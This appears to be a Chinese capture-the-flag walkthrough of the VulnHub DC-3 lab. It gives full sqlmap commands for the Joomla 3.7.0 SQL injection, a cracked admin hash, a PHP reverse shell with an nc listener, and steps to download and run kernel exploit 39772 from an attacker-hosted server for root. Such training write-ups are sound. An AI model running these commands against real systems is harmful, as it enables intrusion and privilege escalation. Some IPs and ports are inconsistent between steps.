每日学习~ 冲冲冲
VulnHub 入门DC系列之DC-3
说明
靶场下载地址:https://www.vulnhub.com/entry/dc-32,312/
渗透靶场:VirtualBox
攻击靶机:本地机+kail(VMware)
Flag:1个(只存在于 /root根目录下)
启动DC-3靶机,界面显示登录界面,这是正常运行情况,我们也并没有登录账号,需要自己去渗透测试进行提权。回到我们的攻击机
扫描内网 发现主机
(1)扫描内网,发现目标主机IP
使用命令:arp-scan -l 发现内网中的主机
扫描主机
(2)利用nmap对目标主机进行端口扫描,发现开放端口
使用命令:nmap -sV -p- 192.168.43.119
发现开放80端口,则可以进行网页访问。
信息收集
访问主页,提示该靶场只有一个flag,且获得的前提是root权限。
利用插件Wappalyzer可以发现这是利用Joomal框架搭建的web网站
使用Joomscan工具扫描网站 获得到当前Joomal框架版本和后台登录链接
扫描器,扫描使用Joommal框架的网站,检测Joomal版本、可访问的危险路径、后台登录界面、已知漏洞、防火墙等。
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞,发现一个sql注入漏洞
searchsploit Joomla 3.7.0
提取出sql注入漏洞相关介绍文档保存到本地,查看其漏洞利用
发现并利用漏洞
使用sqlmap自动注入工具对靶机执行sql注入代码
注入查询数据库有哪些,查出5个数据库信息
sqlmap -u "http://192.168.43.119/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查询当前使用的数据库:Joomladb
sqlmap -u "http://192.168.43.119/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
查询当前使用数据库的表:筛选出用户表:#__users
sqlmap -u "http://192.168.43.119/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
对#_users 表进行爆破
获取列名
sqlmap -u "http://192.168.220.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
获取字段记录
sqlmap -u "http://192.168.43.119/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
获得网站后台的用户名以及密码hash值
admin #用户名
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #密码hash值
将其hash值存储为txt文件后,使用工具john 进行hash爆破
登录用户名:admin 密码:snoopy
进入功能模块
点击Bezz可以看到大量文件
自己新建一个PHP文件
访问 192.168.43.119/templatesbeez3/test.php
执行了php代码
反弹shell 获取flag
写入反弹shell脚本
打开端口监听 nc -lvvp 7777
访问地址 192.168.43.119/templatesbeez3/test.php
反弹shell
内核提权漏洞
查看kernel版本:uname -a
查看linux版本:/etc/*-release
使用searchsploit搜索可利用的exp脚本
exp具体利用方式可见:https://www.exploit-db.com/exploits/39772
靶机获取exp脚本文件
先将exp下载到kali镜像(攻击机)中
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
将下载的压缩包放到/var/www/html/文件夹下并开启http服务
python -m SimpleHTTPServer 8000
在反弹shell的情况下(攻击者连接上了靶机)输入命令将exp下载到靶机环境中
wget http://192.168.67.134:9000/39772.zip
exp利用
解压该文件
unzip 39772.zip
再解压刚刚解压出来的文件
cd 39772
tar –xvf exploit.tar
进入39772/ebpf_mapfd_doubleput_exploit
目录,运行编译文件 compile.sh
cd ebpf_mapfd_doubleput_exploit
./compile.sh
获得最终提权脚本文件doubleput
执行doubleput
文件提权成功
./doubleput
该脚本会在60秒内反弹一个root权限的shell
这时进入/root
目录,可以成功获得flag
总计
1、Linux内核漏洞提权
2、Joomscan可针对Joomal框架进行扫描
2、使用kali自带exploitdb库可查询exp,命令为Searchsploit 程序名称 版本
3、使用John对hash值解密
4、bash反弹shell